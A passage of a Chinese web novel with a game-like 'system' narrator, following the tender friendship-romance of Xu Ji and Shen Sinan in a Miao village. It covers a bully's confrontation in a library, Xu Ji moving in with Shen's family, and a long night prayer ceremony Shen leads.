沈司南顺手把米酒罐放在桌上，耳根微微发热，低声解释：“阿妈总说我长个子快，做衣服的速度赶不上我穿，就攒了好些。” 许祭走过去，指尖轻轻拂过祭祀服的银饰流苏，清脆的声响在安静的房间里漾开，他转头看向沈司南，眼里带着笑意：“每一件都好看，尤其是这件祭祀服。” 沈司南转身拉开靠墙的木柜，翻出一套干净的靛蓝布衣，递到许祭面前，指尖蹭过对方的手背，声音带着点夜色里的轻软：“你没带换洗衣物吧？穿这个，应该合身。” 许祭看着那套带着淡淡草木香的衣裳，又看了看沈司南，耳根发烫，慌忙接过来：“谢……谢谢。” 沈司南垂眸，目光落在他泛红的耳尖上，嘴角悄悄勾了一下，又很快压下去：“我去外间，你先换。” 沈司南刚走到外间，就被兰榙拉着胳膊拽到了廊下。 月光落在兰榙的笑眼里，她压低声音，指尖轻轻戳了戳沈司南泛红的耳根，语气里满是打趣：“司南害羞什么呀，不就是让许祭换件衣服吗？你们两个不都是男生吗，有什么好躲的。” 她说着，还故意朝里间的方向扬了扬下巴，尾音拖得长长的，带着点苗寨女子特有的热络狡黠：“啊哟，我看你这孩子，是越长大越别扭了。” 沈司南的脸瞬间红透，伸手去捂兰榙的嘴，声音里带着点急：“阿妈，你别乱说。” 兰榙笑着躲开，指尖捻着廊下垂着的银铃，叮当作响的声音里，满是藏不住的笑意。 许祭换好衣服，抬手扯了扯衣角，靛蓝的布料贴着皮肤，带着淡淡的草木香，衬得他肤色愈发干净。他正对着窗边的铜镜打量，木门就被轻轻推开。 沈司南走了进来，目光落在他身上，顿了顿，才低声开口：“衣服……合不合适？” 许祭转过身，笑着转了个圈，衣摆扬起小小的弧度：“挺合身的，感觉像是量身定做的一样。” 沈司南的耳根微微发烫，目光落在他领口绣着的细碎银纹上，轻声道：“这是阿妈之前给我做的，我穿有点小了。” 许祭闻言，低头瞅了瞅自己的袖口，又抬眼比了比两人的身高差，忍不住笑出声来：“你高我矮，当然是你穿小了的衣服，我穿正好合身。” 他说着还故意挺直脊背，踮了踮脚尖，试图缩短两人之间的差距，却发现还是差了小半头。月光从窗缝里溜进来，落在两人相抵的肩头，漾开一圈温柔的光晕。 沈司南看着他孩子气的动作，嘴角的笑意藏不住，指尖轻轻碰了碰他的发顶：“踮脚也没用，还是我高。” 竹楼里的灯被调得极暗，橘黄的光晕裹着晚风里的花香，软软地漫过床沿。两张拼在一起的竹床，铺着兰榙晒过的新被子，阳光的味道混着草药香，闻着让人安心。 许祭和沈司南并肩躺着，谁都没先说话，只听见窗外虫鸣唧唧，还有瓦檐下银铃偶尔的轻响。 许祭侧过身，看着沈司南的侧脸，月光勾勒出他清晰的下颌线，睫毛很长，在眼睑下投出一小片阴影。他忍不住开口，声音压得很低：“今天穿祭祀服的时候，你是不是也觉得自己挺好看的？” 沈司南的耳尖倏地红了，偏过头瞪他一眼，语气带着点别扭：“不好看。” “骗人。”许祭轻笑，手指戳了戳他的胳膊，“我都看到你偷偷照镜子了。” 沈司南的脸更烫了，往被子里缩了缩，闷声道：“那是阿妈让我试大小。” “好好好，试大小。”许祭顺着他的话，声音里满是笑意，“那祈福大典那天，我能不能去看？” 沈司南沉默了几秒，轻轻“嗯”了一声，声音软得像棉花：“……给你留个最前面的位置。” 许祭的心跳漏了一拍，嘴角的笑意收不住，往他身边凑了凑，肩膀挨着肩膀：“一言为定。” 月光悄悄爬上床沿，落在两人交叠的手背上，银铃又响了一声，清清脆脆的，像藏了一整晚的秘密。 天刚蒙蒙亮，晨雾裹着凤凰花的香气，从竹窗的缝隙里钻进来。许祭是被窗外的鸟鸣吵醒的，他睁开眼，先闻到被子上淡淡的阳光味，再转头，就看见沈司南还睡得沉。 少年的侧脸对着他，睫毛长而密，随着呼吸轻轻颤动，嘴角抿着，带着点熟睡时才有的软。晨光落在他的发顶，镀上一层浅金色的绒边，看着温顺得不像话。 许祭没敢动，怕惊扰了他，只是在心里轻轻唤系统：【系统，昨晚的任务完成了吗？沈司南的感动值有没有变化？】 脑海里很快响起机械音，带着点不易察觉的柔和：【宿主，任务圆满完成。沈司南感动值提升至72%，已解锁记忆碎片×1，碎片内容可在空闲时查看。】 许祭的心跳快了半拍，嘴角忍不住往上扬，目光又落回沈司南的脸上，心里软乎乎的，像揣了块温热的糯米糕。 许祭心念一动，脑海里瞬间涌入一段零碎的画面，像是被蒙上了一层薄纱的旧梦。 是很多年前的苗寨，凤凰花开得漫山遍野。小小的沈司南站在祭台的台阶上，穿着一身缩水的旧祭祀服，手里攥着一支断了流苏的银簪。他的身旁站着年轻的兰榙，正弯腰替他整理衣领，声音温柔得能掐出水来：“司南以后要做最厉害的祭祀，护着寨子里的人。” 小沈司南点点头，脸颊鼓得圆圆的，抬头望向远处的山峦，眼神里满是少年人的倔强与期待。 画面倏忽一转，是飘着细雨的黄昏。沈司南蹲在竹楼的屋檐下，手里小心翼翼地捧着一只受伤的雏鸟，指尖轻轻拂过它的羽毛，嘴里低声哼着不成调的苗歌。雨丝落在他的发梢，他却浑然不觉，只是垂着眼，眼底盛着细碎的温柔。 最后，画面定格在一双交叠的手。是他和沈司南的手，放在竹楼的屋顶上，旁边摆着两罐喝了一半的米酒，月光正缓缓淌过指缝。 机械音再次响起：【记忆碎片已完全解锁，碎片核心：沈司南的守护执念。】 许祭还没从记忆碎片的画面里回过神，就听见身侧传来一声轻响。 沈司南醒了，睫毛颤了颤，睁开眼，目光还有点惺忪，对上许祭的视线时，愣了愣，才低低开口：“醒这么早？” 许祭的心跳还没平复，看着他眼底的倦意，忍不住笑了笑：“被外面的鸟叫吵醒的，你睡得挺沉。” 沈司南坐起身，揉了揉眼睛，晨光落在他的侧脸，柔和了轮廓。他掀了掀被子，忽然想起什么似的，转头看许祭：“阿妈应该煮了糯米饭，去尝尝？” 许祭点头，跟着坐起来，目光落在他的发顶——那里沾了点被子上的棉絮。他伸手，轻轻替他拂掉，指尖不经意蹭过沈司南的头发。 沈司南的身体僵了一下，耳尖瞬间泛红，偏过头，声音有点哑：“干嘛？” “沾了东西。”许祭收回手，想起记忆碎片里那个蹲在屋檐下哼苗歌的小沈司南，心里软得一塌糊涂，“昨晚……睡得好吗？” 沈司南顿了顿，轻轻“嗯”了一声，声音里带着点不易察觉的笑意：“挺好的。” 窗外的晨雾散了些，凤凰花的香气更浓了，竹楼外传来兰榙的声音，喊他们下楼吃饭。 两人对视一眼，都笑了，一前一后踩着竹梯，往楼下走。 36. 大典 竹梯被踩得咯吱轻响，两人刚走到楼下，就闻到糯米饭混着红糖浆的甜香。兰榙正端着一碟腌萝卜从厨房出来，见他们下楼，眉眼弯成了月牙：“醒啦？快坐，糯米饭刚蒸好，还冒着热气呢。” 许祭和沈司南挨着桌边坐下，兰榙麻利地给两人碗里舀满饭，又淋上一大勺红糖浆，晶莹的糖汁顺着糯米饭的缝隙往下淌，看着就让人胃口大开。 “阿祭多吃点，”兰榙往许祭碗里夹了块酸萝卜，笑得狡黠，“这孩子脸皮薄，昨晚肯定没好意思跟你闹，你们年轻人一块儿，别拘束。” 许祭嘴里的糯米饭还没咽下去，闻言差点呛着，耳根瞬间红了。沈司南踢了踢他桌下的脚，又瞪了兰榙一眼，声音带着点羞恼：“阿妈，吃饭呢。” “好好好，不说了不说了。”兰榙举起双手做投降状，却忍不住又瞥了两人一眼，嘴角的笑意藏都藏不住。 晨光透过竹窗洒进来，落在碗碟上，落在两个少年泛红的耳尖上，满屋子都是暖融融的味道。 秋阳透过图书馆的玻璃窗，筛下斑驳的光斑，落在摊开的书页上。沈司南指尖捏着一本苗寨风俗志，看得专注，许祭则趴在旁边的桌上，单手撑着下巴，目光时不时黏在他垂落的睫毛上。 “今天图书馆人真少。”许祭低声嘟囔，指尖轻轻戳了戳沈司南的手背。 沈司南没抬头，只是弯了弯嘴角，把书页往他那边推了推：“看这个，祈福大典的流程，你不是好奇吗？” 话音刚落，身后就传来一道不怎么友好的声音：“哟，这不是我们的‘苗寨小祭祀’吗？怎么不在家摆弄那些银饰符咒，跑来图书馆装模作样了？” 许祭的脸色瞬间沉了下来，猛地转头。 林舟斜倚在书架旁，怀里抱着几本书，嘴角挂着讥讽的笑，视线在沈司南身上转了一圈，最后落在两人相触的手背上，眼神更显轻蔑。 沈司南握着书页的手指紧了紧，抬眼看向林舟，眸子里没什么温度：“图书馆是公共场合，你管不着。” “我是管不着。”林舟嗤笑一声，往前踱了两步，故意提高了音量，“就是觉得某些人……” 话没说完，就被许祭冷冷打断：“林舟，嘴巴放干净点。上次的教训还不够？” 许祭站起身，微微挡在沈司南身前，目光锐利。林舟脸上的笑僵了僵，想起上次被许祭堵在走廊的狼狈，气焰顿时矮了半截，却还是嘴硬：“我就是随口说说，怎么，还想动手？” “你可以试试。”许祭的声音压得很低，带着不容置疑的威慑力。 沈司南拉了拉许祭的衣角，摇了摇头。他合上书，站起身，目光平静地扫过林舟：“没必要和没教养的人浪费时间。” 说完，他伸手拎起两人的书包，冲许祭偏了偏头：“走，换个地方。” 许祭瞪了林舟一眼，转身跟上沈司南的脚步，路过林舟身边时，还不忘低声撂下一句：“再敢胡说八道，我让你爬着出图书馆。” 林舟看着两人并肩离开的背影，气得攥紧了拳头，却不敢追上去，只能悻悻地踢了踢脚边的书架，引来管理员一道严厉的目光。 两人刚走出图书馆的大门，秋阳晒得人身上暖洋洋的，许祭正想吐槽林舟的烦人，脚步却猛地顿住。 他侧头瞥了眼身后的树荫，眉头瞬间皱起：“他跟过来了。” 沈司南顺着他的目光看去，就见林舟躲在香樟树的阴影里，见两人望过来，非但没躲，反而抱着胳膊走了出来，脸上依旧挂着那副欠揍的讥讽神情。 “怎么，这就走了？”林舟快步追上，拦在两人面前，视线在沈司南身上打转，“穿得人模人样，骨子里还不是……” 话没说完，许祭已经上前一步，抬手攥住了他的手腕，力道大得让林舟疼得龇牙咧嘴。“我警告你，别没完没了。”许祭的声音冷得像冰，“再敢说一句废话，今天就让你站着进来，躺着出去。” 沈司南站在许祭身侧，垂在身侧的手指微微蜷起，眸色沉得厉害。他看着林舟疼得扭曲的脸，声音没什么起伏：“林舟，你到底想干什么？” 林舟挣了挣手腕，没挣开，脸上的嚣张褪去几分，却还是嘴硬：“我干什么？我就是看不惯你们……” “看不惯就憋着。”许祭打断他，手腕猛地一甩，林舟踉跄着后退几步，差点摔在地上。 许祭懒得再看他，伸手牵住沈司南的手腕，指尖轻轻捏了捏，语气软了些许，对着沈司南道：“别理他，我们走。” 两人转身就走，留下林舟站在原地，看着他们相牵的手，气得脸色铁青，却又不敢再追上去。 两人牵着手拐过街角，彻底甩开林舟的视线后，许祭才松了攥紧的力道，指尖轻轻摩挲着沈司南的手腕，语气带着点懊恼：“都怪我，没注意他跟过来。” 沈司南摇了摇头，反手握紧他的手，目光落在巷口飘着热气的小吃摊上，眼尾弯了弯：“没事，别让他影响心情。” 小吃摊的老板正麻利地翻着烤糍粑，金黄的糍粑裹着黄豆面，甜香混着炭火的焦香，勾得人舌尖发馋。许祭眼睛一亮，拉着沈司南快步走过去：“老板，要两份烤糍粑，多放糖！” 热乎乎的糍粑递到手里，烫得人指尖发颤，许祭先掰了一半递到沈司南嘴边，眼底满是笑意：“尝尝，甜滋滋的，专治坏心情。” 沈司南张口咬下，软糯的糍粑混着黄豆面的香气在嘴里化开，甜意漫过舌尖，刚才的郁气瞬间散了大半。他看着许祭吃得嘴角沾了点黄豆面，忍不住伸手替他擦掉，指尖蹭过唇角时，两人的目光撞在一起，都忍不住笑了起来。 阳光穿过巷口的梧桐叶，落在两人相视而笑的脸上，暖融融的，连风都带着甜。 巷口的风忽然吹得大了些，卷着烤糍粑的甜香，远远传来兰榙熟悉的声音。 “司南——阿祭——” 两人转头，就看见兰榙快步走过来，手里还拎着个布包，脸上带着笑意。她走到近前，先瞅了瞅沈司南手里咬了一半的糍粑，又看向许祭，语气轻快：“阿祭，你妈妈刚才给我打电话了。” 许祭咬着糍粑的动作一顿，眼底闪过一丝诧异：“我妈妈？” “是啊。”兰榙点点头，伸手揉了揉许祭的头发，眉眼间满是温和，“她说她要出国留学，这一去少说也得两三年，怕你一个人住不方便，特意托我，让你这段时间就住我们家，跟司南作伴。” 许祭手里的糍粑差点掉在地上，他愣了好半天，才找回自己的声音，语气里满是不敢置信：“真的？” “还有假不成？”兰榙笑着晃了晃手里的布包，“你妈妈都把你常用的几件换洗衣物和课本托人送过来了，就在这里面呢。” 沈司南也愣住了，他看着许祭眼里的光一点点亮起来，握着糍粑的手指微微收紧，耳尖不知何时，已经悄悄泛红。 巷口的阳光正好，烤糍粑的香气裹着风，吹得人心尖都发暖。 竹楼的后院摆着张矮桌，月光淌了满院，落在摊开的祭祀祷文上。沈司南站在香案前，手里捏着一支银簪，指尖轻轻拂过祷文上的古老苗文，声音低沉又肃穆。 “以山川为证，以草木为盟，护我寨中子弟，岁岁平安……” 他的语调带着独特的韵律，尾音轻轻扬起，又缓缓落下，像山涧的溪水漫过青石板。晚风卷着凤凰花的香气，吹动他靛蓝的衣角，银簪在月光下泛着细碎的光。 许祭坐在矮凳上，手肘撑着桌沿，手里把玩着一颗晒干的桂花，目光一瞬不瞬地落在沈司南身上。他看着沈司南认真的侧脸，看着他垂落的睫毛在眼睑下投出的阴影，看着他念到动情处微微蹙起的眉头，嘴角不自觉地弯起。 祷文很长，沈司南念得一字一句都极郑重，偶尔卡壳，便停下来翻看祷文，指尖在字里行间轻轻摩挲。许祭也不打扰，只是安静地看着，听着夜风里的祷词，听着远处的虫鸣，心里软得一塌糊涂。 直到沈司南念完最后一句，转过身来，才发现许祭正看着他。 他的耳尖倏地红了，捏着银簪的手微微收紧：“看什么？” 许祭笑了，起身走过去，伸手替他理了理被风吹乱的衣领：“看你好看。” 沈司南的耳尖红得更厉害，像是被月光淬了一层热意，他下意识地往后退了半步，银簪的尖端轻轻蹭过掌心，留下一点微凉的触感。“胡闹。”他低声斥道，目光却不敢直视许祭的眼睛，只落在对方搭在自己衣领上的手指——那手指骨节分明，指尖带着桂花晒干后的淡淡甜香。 许祭没收回手，反而顺着衣领的弧度，轻轻摩挲了一下他颈侧的皮肤。那里的肌肤很薄，能清晰地感受到脉搏的跳动，一下一下，和晚风里的虫鸣莫名地合了拍子。“我没胡闹。”许祭的声音放得很轻，像是怕惊扰了院外守着的族人，“你念祷文的时候，连眉峰都绷着，比寨子里的老石碑还较真。” 沈司南的喉结动了动，拍开他的手，转身去理香案上的东西。铜香炉里的檀香还没点，黄纸写就的祷文按顺序叠着，旁边摆着三牲祭品，用青竹叶子盖得严严实实。“祭典亥时才开始，现在只是预演。”他说着，指尖又拂过祷文上的苗文，语气不自觉地沉了沉，“去年山外的疫病差点漫进来，今年的祷词，一个字都不能错。” 许祭哦了一声，弯腰拾起被风吹落到地上的一页副稿，指尖拂去纸面上的草屑。他瞥了眼上面弯弯曲曲的字迹，只认得几个祈福消灾的常用字符，其余的，都像是藏着山川草木的密码。“那你卡壳的时候，是忘了哪一句？”他笑着问，将副稿递过去。 沈司南接过纸，耳根的红意还没褪尽，指尖在某一行顿了顿，声音低了些：“阿爹传下来的原稿，这一句的语调总是拿捏不准。”晚风卷着凤凰花瓣落在纸页上，他伸手拂开，动作轻柔得像是在对待什么珍宝。 许祭凑过去看，月光刚好落在那一行苗文上，字迹苍劲，带着岁月磨出来的温润。他不懂苗语，却能从沈司南的语气里听出郑重。“要不要我帮你记？”他忽然开口，见沈司南转过头看他，又弯起嘴角补充，“你念一遍，我记一遍，总能帮你磨出最合适的调子。” 沈司南愣了愣，握着银簪的手松了松。香案旁的铜铃被风吹得轻轻晃动，叮铃的脆响散在月光里。他看着许祭眼里盛着的星子，又低头看了看手里的祷文，半晌，才轻轻嗯了一声。 晚风再次吹过，凤凰花的香气更浓了。远处传来几声梆子响，是守夜的族人在报时。沈司南重新站定在香案前，捏着银簪的手稳稳当当，他深吸一口气，再次开口时，语调比先前更沉稳了些。 许祭搬了矮凳，坐在离他半步远的地方，手里捏着那支晒干的桂花，目光一瞬不瞬地落在他脸上。这一次，他听得格外认真，连沈司南语调里极细微的起伏，都记在了心里。 梆子声敲过第九响时，亥时的风裹着山涧的凉意，漫过竹楼外围的木栅栏，卷着凤凰花细碎的花瓣，落了满院。先前还在草丛里此起彼伏的虫鸣，像是被这梆子声惊扰，忽然就低了下去，只剩下风穿过竹叶的簌簌轻响，沙沙的，像是谁在耳边低语。 竹楼后院的香案早已摆置妥当。案台是用寨后山崖上的青石板凿成的，被岁月磨得温润发亮，案上依次摆着三牲祭品——一只毛色锃亮的黑山羊，一尾鲜活的红鲤，还有一整只褪净了毛的土鸡，都用青翠的竹叶仔细裹着，叶片上还凝着傍晚时的露水，在月光下泛着细碎的光。祭品旁立着一尊陶制香炉，炉身刻着繁复的苗纹，是祖辈传下来的旧物，炉沿上积着薄薄一层香灰，是白日里试香时留下的。香炉两侧插着两支小臂粗的红烛，烛芯早已剪得齐整，只待点燃。最显眼的是案中央摊开的那卷祷文，用的是陈年的黄麻纸，纸页边缘已经微微泛黄发脆，上面的苗文是用狼毫蘸着朱砂写的，一笔一划都透着苍劲，那是沈司南的阿爹亲手誊抄的，如今传到了他的手里。 沈司南站在香案前，一身墨绿的土布长衫，衣襟和袖口都绣着暗纹，是阿娘亲手绣的，针脚细密，藏着草木山川的模样。那绿色深得像山间老林里的苔藓，被月光一照，又泛出几分清润的光泽，衬得他肤色愈发白皙。他先前耳尖的那点红意早已褪去，脸上是全然的肃穆，连平日里微微蹙着的眉头，此刻都舒展着，眼神沉静得像是月下的深潭。他抬手，将那支银簪郑重地插在发髻间，银簪的簪头刻着小小的苗纹，是阿娘年轻时的嫁妆，冰凉的触感贴着头皮，像是阿娘的手，轻轻抚过他的发顶。 他刚站定，院外就传来了整齐的脚步声，伴随着铜铃的叮铃脆响，不急不缓，踏碎了夜的寂静。许祭循着声音望去，只见寨子里的族人正排着队走进后院，他们都穿着靛蓝的土布衣裳，腰间系着绣满苗纹的腰带，袖口和裤脚都用青布仔细扎紧，手里捧着香烛、米酒，还有用竹篮盛着的五色米，脚步放得极轻，像是怕惊扰了这满院的月光。 为首的是寨老，须发皆白，脸上刻满了岁月的沟壑，手里握着一根刻满纹路的桃木杖，杖头系着一串铜铃，走一步，响一声，清脆的铃声在夜色里荡开，像是在与山川草木对话。紧随其后的是沈司南的阿娘，她穿着一身浅绿的绣花木裙，头上裹着青布帕子，鬓角的银丝被月光照得格外分明，手里端着一个木盘，盘里放着三枚用红绳系着的平安符，那是她熬了三个通宵绣成的，符上的针脚比年轻时略有些歪斜，却透着说不尽的虔诚。浅绿的裙摆在月光下晃着，像极了溪边新生的苇叶，柔软又坚韧。 沈司南看到阿娘，原本紧绷的下颌线柔和了几分，他对着寨老躬身行礼，又朝阿娘微微颔首。阿娘回给他一个温和的笑，脚步轻缓地走到香案一侧，将木盘轻轻放在案边，目光落在他发髻间的银簪上，眼底漾着欣慰的光。 族人陆续走进后院，在香案两侧站定，男女老少，神色皆是肃穆。年轻的汉子们挺直脊背，手里握着香烛，目光灼灼地看着香案上的祷文；年长的妇人则双手合十，嘴里低声念着祈福的话语，眼角的皱纹里藏着虔诚；孩子们被父母牵着手，踮着脚尖好奇地张望，却被父母轻轻按住肩膀，只能抿着嘴，不敢出声。 许祭自觉退到人群的末尾，手里还捏着那颗晒干的桂花，花瓣已经有些发脆，却依旧留着淡淡的甜香。他站在一棵凤凰树下，抬头望去，月光透过枝叶的缝隙，洒下斑驳的光影，落在他的肩头。他看着沈司南的背影，那身墨绿长衫在月光里衬得他身姿愈发挺拔，竟生出几分凛然不可侵犯的意味。又瞥见一旁的沈母，浅绿裙裾垂在青石板上，她正望着沈司南，嘴角噙着浅浅的笑意，眼神里满是疼爱与骄傲，像是看着一株自己亲手栽种的青竹，终于长成了能遮风挡雨的模样。 寨老举起桃木杖，轻轻敲击地面，三声脆响过后，所有族人都安静下来，连呼吸都放轻了。晚风卷着凤凰花的香气，漫过每个人的鼻尖，香炉里的香灰被风吹得微微扬起，又缓缓落下。 沈司南深吸一口气，抬手从香案上拿起三支香。香是用寨子里自产的檀香木制成的，香气醇厚，不似山外的香那般刺鼻。他将香凑到烛火旁，火苗轻轻舔舐着香芯，很快就燃起了袅袅青烟。沈司南握着香，对着山川的方向拜了三拜，每一次弯腰，墨绿的长衫下摆就跟着垂落，扫过青石板上的花瓣，又随着起身的动作轻轻扬起。然后，他将香插入香炉中，三支香并排而立，青烟扶摇直上，混着凤凰花的香气，在月光里散开，飘向远处的山峦。 做完这一切，沈司南才转身，拿起案上的那卷祷文。黄麻纸的触感粗糙，却带着岁月的温度，上面的朱砂字迹，在月光下透着淡淡的红光。他站定，目光扫过面前的族人，扫过他们虔诚的脸庞，最后落在阿娘身上。阿娘朝他点了点头，眼神里满是鼓励。他又看向远处的山峦，那里是寨子的屏障，是祖祖辈辈赖以生存的地方。 “以山川为证，以草木为盟……” 古老的苗语从沈司南的唇间溢出，每一个音节都像是带着山川的重量，又像是含着草木的温柔。他的声音比先前预演时更沉稳，更有韵律，尾音扬起时，带着一种奇异的穿透力，像是能越过山涧，直达云霄。 祷词响起的瞬间，院外的山林里，忽然传来几声鸮鸟的啼叫，清亮而悠远，像是在应和。族人纷纷垂下眼帘，双手合十，跟着沈司南的语调，低声附和。声音不大，却整齐划一，在夜色里荡开，飘向远处的田野、溪流，飘向寨子的每一个角落。 沈司南握着祷文的手指微微用力，指节泛白。他的目光望向天边的明月，眼底盛着的，是对族人岁岁平安的祈愿。他想起阿爹临终前的嘱托，想起阿娘握着银簪教他辨认苗文时的耐心，想起去年疫病蔓延时，寨子里的恐慌与无助。那时候，阿娘守在药庐里，熬了三天三夜的药汤，分给寨子里的老少，浅绿的裙角沾了药渍，眼里满是疲惫，却从未有过一丝退缩。如今，轮到他站在香案前，接过阿爹的担子，护着这一寨的人，护着这片生养他的土地，护着他尚在身边的阿娘。 晚风卷着他的衣摆，墨绿的布料在月光下泛着淡淡的光泽，发髻间的银簪闪着细碎的光。香案上的烛火跳跃着，将他的影子投在地上，忽明忽暗。他念得极慢，一字一句，都像是经过了千锤百炼，带着沉甸甸的心意。偶尔有字句的语调拿捏不准，他便微微停顿，侧头看向阿娘。阿娘总能心领神会，用口型提示他，眉眼间的温柔，像是月光般漫进人心。 许祭站在人群末尾，听得格外认真。他不懂苗语，却能从沈司南的语气里听出郑重，从族人的附和声里听出虔诚。他看着沈司南的侧脸，墨绿的衣领衬得他脖颈线条愈发流畅，看着他念到动情处，眉头微微蹙起，看着他的嘴唇开合，每一个字都像是带着魔力，让整个后院都笼罩在一片肃穆的氛围里。他又看向沈母，她正跟着祷词的节奏，轻轻晃动着手里的平安符，浅绿的衣袖拂过木盘，嘴里低声念着，眼角的皱纹里，漾着一层薄薄的泪光。 他轻轻抬手，将那颗攥在掌心的桂花别在衣襟上。桂花的甜香混着檀香的醇厚，在鼻尖萦绕。他忽然觉得，这颗小小的桂花，像是也染上了几分祷词的温度，变得沉甸甸的。 月光越发明亮，淌过香案，淌过族人的衣角，淌过沈司南墨绿长衫的褶皱，淌过阿娘浅绿裙裾的流苏。远处的山峦在月色里静默伫立，像是在认真聆听着这场古老的祈愿。风穿过竹林的声音，族人的附和声，沈司南沉稳的祷词声，交织在一起，成了夜色里最温柔的歌。 不知过了多久，沈司南的祷词终于念到了中段。他微微喘了口气，额角渗出细密的汗珠，被晚风一吹，带来几分凉意。阿娘见状，缓步走过来，递过一方绣着兰草的帕子。沈司南接过，指尖触到帕子上的温度，抬眼看向阿娘，眼底闪过一丝暖意。他擦了擦汗，又将帕子递还回去，阿娘接过，轻轻叠好，放回袖中，动作依旧温柔。 许祭看着这一幕，嘴角不自觉地弯起。他想起白日里，沈司南在院子里背祷文，阿娘坐在一旁纳鞋底，阳光洒在两人身上，也是这般温柔的模样。那时候，沈司南也是穿着这身墨绿长衫，偶尔念错了字句，阿娘便放下鞋底，笑着纠正他，声音软得像棉花。 祷词还在继续，沈司南的声音愈发洪亮。他的目光扫过人群，扫过那些熟悉的脸庞，扫过那些期盼的眼神，心里的信念愈发坚定。他知道，这场祭典，不只是一场仪式，更是一种传承，是祖辈们留下来的守护，是族人心中的希望。 夜渐渐深了，月光也愈发皎洁。凤凰花的香气更浓了，落在地上的花瓣，像是给青石板铺了一层红毯。香案上的烛火依旧跳跃着，青烟袅袅，飘向天际，像是在将族人的祈愿，传递给山川，传递给草木，传递给这片土地上的每一个生灵。 族人的附和声依旧整齐，他们的脸上，满是虔诚。孩子们已经有些困倦，靠在父母的怀里，却依旧睁着眼睛，看着香案前的沈司南，眼神里满是崇拜。 许祭站在凤凰树下，看着眼前的一切，心里软得一塌糊涂。他忽然觉得，能留在这个寨子里，能看着这样的画面，是一件多么幸运的事情。他低头，看着衣襟上的桂花，轻轻嗅了嗅，甜香依旧。 沈司南的祷词，还在夜色里回荡着，绵长而悠远。 祷词念到酣处，沈司南的声音愈发沉厚，尾音裹着夜风，飘向山坳深处。烛火跳跃间，他额角的汗珠愈发细密，顺着下颌线滚落，滴进墨绿长衫的领口，转瞬便被布料吸了去。少年人的脊背已经初具挺拔的模样，却还带着未脱的青涩，在月光下，像一株刚抽出新节的翠竹。 兰榙站在香案一侧，手里攥着那方绣兰草的帕子，目光一瞬不瞬地落在儿子身上，眼底的疼惜像浸了水的棉絮，轻轻漾开。她看了半晌，悄悄转过身，踮着脚，朝着人群末尾的许祭招了招手。 许祭见状，捏着衣襟上的桂花，轻手轻脚地走过去。晚风卷着凤凰花的香气，绕着两人的衣角打了个旋。兰榙的声音压得极低，像是怕惊扰了这场肃穆的祭典，又像是怕被自己的儿子听见：“许祭啊，你看我们家司南，是不是太苦了些？” 许祭顺着她的目光望去，沈司南正垂着眼，指尖摩挲着祷文上的朱砂字迹，那双手还带着少年人的纤细，却已经能稳稳扛起祭师的担子。脊背挺得笔直，看着坚韧，却藏着不为人知的弯折不伸。 “他阿爹走得早，”兰榙的声音发颤，眼角泛起一层薄薄的湿意，她抬手，用袖口轻轻擦了擦，“才十四岁的年纪，别家的孩子还在山里追着野兔跑，他却要站在这里，念着这些晦涩的祷词，护着一寨子的人。去年疫病闹得凶，他守在山门口，三天三夜没合眼，生怕外头的人把病带进来，回来的时候，人都瘦脱了相。” 许祭没说话，只是攥着桂花的手指紧了紧。他想起自己刚入寨时，撞见沈司南在药庐里熬药，墨绿的长衫沾了药渍，小小的身板搬着比他还高的药篓，眼底的红血丝重得吓人，却还对着前来领药的族人，露出温和的笑。 “他总说自己是男子，该扛事，”兰榙叹了口气，声音里的疼惜快要溢出来，“可他也才十四啊，哪有什么顶天立地的本事，不过是硬撑着罢了。” 祷词的韵律还在夜色里荡着，族人的附和声整齐而虔诚。沈司南似乎察觉到了什么，微微侧过头，目光掠过母亲和许祭，见两人站在阴影里说话，便又转了回去，只是握着祷文的手指，轻轻顿了一下。少年人的耳尖，悄悄泛起一点红。 兰榙顺着他的动作看去，连忙朝许祭摆了摆手，压低声音道：“别让他听见，这孩子犟，听不得软话。”她说着，又抬眼望向沈司南的背影，浅绿的裙角被风吹得轻轻晃动，“往后啊，要是有你在他身边，能劝着他歇歇，能陪他说说话，我这做娘的，也就放心了。” 许祭的心像是被什么东西轻轻撞了一下，他低头看了看衣襟上的桂花，又抬头看向沈司南，月光落在那人未脱稚气的侧脸上，墨绿的长衫泛着清润的光。他轻轻点了点头，声音轻得像风：“兰姨放心，我会的。” 兰榙闻言，眼里的湿意终于落了下来，她抬手拍了拍许祭的胳膊，嘴角弯起一抹浅淡的笑。晚风穿过竹林，带来一阵沙沙的响，像是在应和着什么。 沈司南的祷词还在继续，一字一句，都裹着对族人的祈愿，裹着十四岁少年人不为人知的隐忍与担当，在月光里，绵长而悠远。 祭典散时，东方已经泛起了鱼肚白，淡青色的天光漫过竹楼的檐角，将凤凰花的影子拉得老长。族人陆续散去，脚步轻缓，嘴里还低声念叨着祷词的余韵。兰榙留下来帮着收拾香案，见沈司南攥着祷文站在原地，眼圈泛着青黑，便叹了口气，挥手让他去歇着。 沈司南应了声，却没回屋，只是抱着胳膊靠在院角的竹柱上，墨绿的长衫上沾了些烛灰，头发也乱了，银簪松松地绾着，露出光洁的额头，少年人眉宇间的肃穆褪去，只剩下掩不住的疲惫。 许祭走过来时，手里还捏着那颗晒干的桂花，见他这副模样，心里软了软，伸手戳了戳他的胳膊：“走，带你去个地方。” 沈司南抬眼，眼底还带着点惺忪的倦意：“去哪儿？倦意：“去哪儿？” “去了就知道。”许祭牵住他的手腕，他的掌心带着暖意，裹着沈司南微凉的皮肤。沈司南挣了一下，没挣开，耳尖悄悄红了，只好由着他拉着，脚步虚浮地跟着走。 两人沿着寨后的小径往山里去，晨露打湿了裤脚，带着青草的凉气。山路两旁的灌木上挂着晶莹的露珠，沾在沈司南的长衫下摆，晕开一小片深色的水渍。许祭熟门熟路地拐进一片林子，拨开挡路的枝桠，压低声音道：“慢点，别碰着刺。” 沈司南嗯了一声，目光落在许祭的背影上。晨光穿过枝叶的缝隙，落在他的发顶，镀上一层浅浅的金辉，风一吹，带着草木的清香。 林子深处，长着几棵野果树，红彤彤的果子挂满了枝头，像一串串小灯笼。许祭松开他的手，几步窜过去，踮脚摘了两个，擦了擦上面的露水，递给他一个：“尝尝，甜得很。” 沈司南接过，果子温热，带着阳光的味道。他咬了一口，清甜的汁水瞬间漫过舌尖，甜得人眉眼都弯了。这味道太鲜活，和祭典上肃穆的檀香、祷词的沉厚截然不同，像是瞬间驱散了他一夜的疲惫。 “好吃吗？”许祭靠在树干上，也咬着果子，嘴角沾了点果汁。 沈司南点头，腮帮子鼓鼓的，像只偷吃东西的小松鼠：“甜。” 